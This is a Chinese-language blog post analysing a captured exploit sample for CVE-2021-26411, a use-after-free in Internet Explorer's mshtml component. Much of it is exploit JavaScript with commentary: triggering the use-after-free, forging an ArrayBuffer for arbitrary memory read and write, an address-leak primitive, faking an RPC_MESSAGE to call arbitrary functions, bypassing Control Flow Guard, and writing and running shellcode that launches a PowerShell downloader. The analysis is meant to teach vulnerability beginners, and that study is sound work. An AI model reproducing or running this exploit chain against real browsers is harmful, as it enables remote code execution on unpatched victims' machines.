欢迎光临散文网 会员登陆 & 注册

CVE-2021-26411 漏洞利用样本分析

2023-03-15 11:42 作者:黑社长  | 我要投稿

概述

该样本是利用 CVE-2021-26411 漏洞进行攻击的 html 文件,攻击目标是 ie 和 edge 浏览器,其最终的目的是执行 shellcode 启动 powershell 进程进行下载行为。关于 CVE-2021-26411 漏洞的原因参考文章 【1】已经讲的比较精细,这里就不在赘述,简要描述是由于 Internet Explorer 的 mshtml 组件中存在一个释放后使用的缺陷。当用户访问了一个恶意页面时,会触发属性对象 nodeValue 的 valueOf 回调。在回调期间,手动调用 clearAttributes(),导致 nodeValue 保存的 BSTR 被提前释放。这样就会造成内存破坏和远程代码执行。关于利用方式参考文章【1】【2】讲的略微精简,所以决定在这里仔细分析一下以供像我这样的漏洞初学者参考。样本分析主要包括漏洞利用部分和 shellcode 部分。

 

分析环境

  • Windows 10 x64 1607

  • IE11,Windbg x86,IDA 7.5

  • mshtml.dll(11.0.14393.0),jscript9.dll(11.0.14393.0)

 

样本分析

样本的初始内容是一段混淆&加密的 js。

加密算法使用的是 AES(CBC)。

js 解密后的内容除去 shellcode 基本与参考文章【3】中公布的漏洞利用代码一致,只是做了一些精简。

漏洞利用分析

为了便于对利用原理的理解,我使用了参考文章【3】中的较规范的 js 代码进行分析。

利用过程

1, 利用 CVE-2021-26411 的 UAF 造成类型混淆
2, 利用类型混淆泄露对象元数据,使用泄露对象的元数据伪造一个起始地址为 0,大小为 0xffffffff 的 ArrayBuffer 对象
3, 利用伪造的 ArrayBuffer 对象实现任意读写原语
4, 使用任意读原语实现任意对象地址泄露原语
5, 伪造 RPC_MESSAGE 为任意函数调用做准备
6, bypass CFG
7, 执行 shellcode

造成类型混淆

var godvar arr = [{}]var fake = new ArrayBuffer(0x100)var abf = new ArrayBuffer(0x20010)var alloc = alloc2()var hd0 = document.createAttribute('handle')var hd1 = document.createAttribute('handle')var hd2var element = document.createElement('xxx')var attr1 = document.createAttribute('yyy') attr1.nodeValue = {    valueOf: function() {        hd1.nodeValue = (new alloc1()).nodeValue        element.clearAttributes()        hd2 = hd1.cloneNode()        element.setAttribute('yyy', 1337)    } } element.setAttributeNode(attr1) element.setAttribute('zzz', '0'.repeat((0x20010 - 6) / 2)) element.removeAttributeNode(attr1) hd0.nodeValue = allocelement.removeAttributeNode(attr1)//触发 CVE-2021-26411 漏洞

执行 valueOf 的调用栈,执行重写 valueOf 的原因和 CVE-2016-0189 一样,均是需要进行类型转换。

element.removeAttributeNode(attr1) 开始时的 element,其中 attr2.nodeValue 是长度为 0x2000a 的 BSTR,为什么它占用的空间是 0x20010,是因为 BSTR 还包括字符串前长度为 4 字节的长度域和尾部 2字节的 \x00。

element.clearAttributes()//清除 AttributeArray 中的属性元素,释放 attr2.nodeValue 所占空间

element.clearAttributes() 结束后,AttributeArray 中的无效元素将被其最后一个元素 attr2.nodeValue 覆盖,而 attr2.nodeValue 所占空间也被释放,被释放的缘由是参考文章【1】【3】中提到的极长 BSTR (大于 0x8000)。

hd2 = hd1.cloneNode()//重新占用 attr2.nodeValue(BSTR) 释放的内存空间,防止第一次 CBase::DeleteAt 时崩溃

hd2 = hd1.cloneNode() 结束后,原 attr2.nodeValue 所占空间将被重新占用,重新占用的目的有两个:

1, 为了避免在第一次 CBase::DeleteAt 删除 [2] attr1 时 CAttrValue::Free 释放无效内存而崩溃
2, 为了在 CAttrValue::Free 将其释放后继续持有这块内存的地址从而形成悬垂指针

element.setAttribute('yyy', 1337)//避免第二次 CBase::DeleteAt 时崩溃

element.setAttribute(‘yyy’, 1337) 结束后,attr1.nodeValue 被重新设置,重新设置的目的是为了避免在第二次 CBase::DeleteAt 删除 [1] attr1.nodeValue 时对象解引用失败而崩溃。

element.removeAttributeNode(attr1) 结束后虽然 attr2.nodeValue(0874035c) 被释放,但是 hd2.nodeValue (BSTR)仍然持有这块内存的地址。

hd0.nodeValue = alloc//重新占用 attr2.nodeValue(BSTR) 释放的内存空间//这样 hd2.nodeValue 就和 hd0.nodeValue 占用相同的空间

hd0.nodeValue = alloc 结束后 attr2.nodeValue 将被 hd0.nodeValue 重新占用并且与 hd2.nodeValue 形成类型混淆。

hd0.nodeValue 类型值为 0xc safeArray。

hd2.nodeValue 类型值为 0x8 BSTR。

泄露对象元数据,伪造 ArrayBuffer

var leak = new Uint32Array(dump(hd2.nodeValue))var pAbf = leak[6]var pArr = leak[10]var VT_I4 = 0x3var VT_DISPATCH = 0x9var VT_BYREF = 0x4000var bufArr = new Array(0x10)var fakeArr = new Uint32Array(fake)for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))flush()var ref = new VBArray(hd0.nodeValue)for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1) ref = nullsetData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))flush() ref = new VBArray(hd0.nodeValue)var vt = ref.getItem(1)var gc = ref.getItem(2)var bs = ref.getItem(3) ref = nullfor (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i] fakeArr[4] = bs + 0x40fakeArr[16] = vt fakeArr[17] = gc fakeArr[24] = 0xfffffffffunction dump(nv) {    var ab = new ArrayBuffer(0x20010)    var view = new DataView(ab)    for (var i = 0; i < nv.length; ++i)        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)    return ab }var leak = new Uint32Array(dump(hd2.nodeValue))var pAbf = leak[6]//fakevar pArr = leak[10]//arr

dump 函数以 hd2.nodeValue 为参数,使用 string 对象方法 charCodeAt 获取 hd2.nodeValue(0874035c) 处的数据,然后再以 uint32 视图泄露 fake 对象和 arr 对象的地址。

function Data(type, value) {    this.type = type    this.value = value }function setData(i, data) {    var arr = new Uint32Array(abf)    arr[i * 4] = data.type    arr[i * 4 + 2] = data.value}for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))

setData 函数将 fake 对象的元数据的地址填充到 abf ArrayBuffer 中。

abf ArrayBuffer。

function flush() {    hd1.nodeValue = (new alloc1()).nodeValue    hd2.nodeValue = 0    hd2 = hd1.cloneNode() }

flush 函数再将 abf ArrayBuffer 中的数据刷新到 hd2.nodeValue(0874035c)。

var ref = new VBArray(hd0.nodeValue)for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)

使用 hd0.nodeValue(safeArray) 泄露 fake 对象的元数据。

setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))//0892aea0setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))//0892aea4setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))//0892aebcflush() ref = new VBArray(hd0.nodeValue)var vt = ref.getItem(1)//vftablevar gc = ref.getItem(2)//dtvar bs = ref.getItem(3)//buffer

继续使用 hd0.nodeValue(safeArray) 泄露 fake.ArrayBuffer 的元数据。

for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i] fakeArr[4] = bs + 0x40fakeArr[16] = vt fakeArr[17] = gc fakeArr[24] = 0xffffffff

使用泄露的 fake 对象的元数据在 fake.ArrayBuffer.buffer 中伪造对象,伪造的对象是一个起始地址为 0,大小为 0xffffffff 的 ArrayBuffer 对象。

实现任意读写原语

setData(1, new Data(VT_DISPATCH, bs))flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1))

使用伪造的 ArrayBuffer 对象实现任意读写对象 god。

以 god 对象实现任意读。

function read(addr, size) {    switch (size) {        case 8:            return god.getUint8(addr)        case 16:            return god.getUint16(addr, true)        case 32:            return god.getUint32(addr, true)    } }

以 god 对象实现任意写。

function write(addr, value, size) {    switch (size) {        case 8:            return god.setUint8(addr, value)        case 16:            return god.setUint16(addr, value, true)        case 32:            return god.setUint32(addr, value, true)    } }

任意对象地址泄露原语

pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10function addrOf(obj) {    arr[0] = obj    return read(pArr, 32) }

addrOf 将对象地址存储在 arr[0],然后读取值。

伪造 RPC_MESSAGE

var map = new Map()var jscript9 = getBase(read(addrOf(map), 32))var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')var msvcrt = getDllBase(jscript9, 'msvcrt.dll')var ntdll = getDllBase(msvcrt, 'ntdll.dll')var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')var xyz = document.createAttribute('xyz')var paoi = addrOf(xyz)var patt = read(addrOf(xyz) + 0x18, 32)var osf_vft = aos()var msg = initRpc()var rpcFree = rpcFree()

伪造 RPC_MESSAGE 之前需要先调用 rpcrt4!I_RpcTransServerNewConnection 以获得 OSF_SCALL_Vftable,OSF_SCALL_Vftable 最终将被设置到 RPC_MESSAGE->Handle 中。而 I_RpcTransServerNewConnection 和后续 rpcrt4!NdrServerCall2 的调用都是通过伪造 Attribute 进行的。

var xyz = document.createAttribute('xyz')var paoi = addrOf(xyz)//0bd01060var patt = read(addrOf(xyz) + 0x18, 32)//0512c1e0

创建 xyz 作为伪造 Attribute 的目标对象。

function aos() {    var baseObj = createBase()    var addr = baseObj.addr + baseObj.size    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')    prepareCall(addr, I_RpcTransServerNewConnection)    return read(read(call(addr)-0xf8, 32), 32) }var osf_vft = aos()//获得 OSF_SCALL_Vftable

伪造 Attribute,这里伪造的 Attribute 只用在 I_RpcTransServerNewConnection 调用,调用 NdrServerCall2 时将会重新构造。

function prepareCall(addr, func) {    var buf = createArrayBuffer(cattr.size())    var vft = read(patt, 32)//获得 xyz.Attribute 的虚表地址 vft    memcpy(addr, patt, cbase.size())//复制 xyz.Attribute 的元数据到 addr    memcpy(buf, vft, cattr.size())//复制虚表到 buf    cbase.set(addr, 'pvftable', buf)//设置假虚表指针(buf)到伪造的 Attribute    cattr.set(buf, 'normalize', func)//设置目的函数地址覆盖假虚表中 normalize 函数的地址}prepareCall(addr, I_RpcTransServerNewConnection)//伪造 Attribute

这里伪造的 Attribute 与原 Attribute 只有虚表指针不同。

使用目的函数地址替换假虚表中 normalize 函数的地址,这样调用 xyz.normalize() 函数便可以执行目的函数,normalize 函数地址对比。

function call(addr) {    var result = 0    write(paoi + 0x18, addr, 32)//将 xyz 的 Attribute 指针修改为伪造的 Attribute(65172dc)    try {        xyz.normalize()//调用目标函数    } catch (error) {        result = error.number    }    write(paoi + 0x18, patt, 32)//恢复 xyz 的 Attribute 指针    return result }read(read(call(addr)-0xf8, 32), 32)//获得 OSF_SCALL_Vftable

调用方式是先将 xyz 的 Attribute 指针修改为伪造 Attribute 的地址,然后调用 xyz.normalize(),调用完再恢复 xyz 的 Attribute 指针。

var msg = initRpc()//伪造 RPC_MESSAGE 作为 rpcrt4!NdrServerCall2 参数使用

initRpc() 的内容比较庞大这里就不展开说明,这里用一张图说明其构建的 RPC_MESSAGE 主要结构,其中 RPC_MESSAGE 也是伪造的 Attribute,其虚表的 0x28c 处是 xyz.normalize() 执行的 NdrServerCall2 函数的地址。

bypass CFG

function call2(func, args) {    readyRpcCall(func)//设置目的函数地址到 Target Func    var buffer = setArgs(args)//设置目的函数参数    call(msg)    map.delete(buffer)    return callRpcFreeBuffer() }function killCfg(addr) {    var cfgobj = new CFGObject(addr)    if (!cfgobj.getCFGValue()) return    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')    var tmpBuffer = createArrayBuffer(4)    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])    map.delete(tmpBuffer) }killCfg(rpcrt4)

构建完 RPC_MESSAGE 后只需将想要调用的函数的地址放在上图中的 Target Func 处并将函数参数放在 ArgementBuffer 处,然后使用 xyz.normalize() 即可执行目的函数。但是由于 rpcrt4!Invoke 在执行目标函数之前会进行 CFG Check,这样只能调用在 CFGBitmap 中的函数,想调用位于任意位置的 shellcode 就需要 bypass CFG。

bypass 的方法是将 RPCRT4!__guard_check_icall_fptr 中保存的负责进行 CFG Check 的函数指针由 ntdll!LdrpValidateUserCallTarget 替换为 ntdll!KiFastSystemCallRet。

执行 shellcode

var shellcode = new Uint8Array([252,232,130,0...])var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000var tmpBuffer = createArrayBuffer(4)call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])writeData(msi, shellcode)call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])var result = call2(msi, [])

加载 msi.dll 模块到进程中,将 shellcode 写入距 msi.dll 基址 0x5000 的位置,设置内存属性后执行之。

shellcode 分析

shellcode 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行。


最终执行了一段 powershell 脚本执行继续执行下载动作。

 


CVE-2021-26411 漏洞利用样本分析的评论 (共 条)

分享到微博请遵守国家法律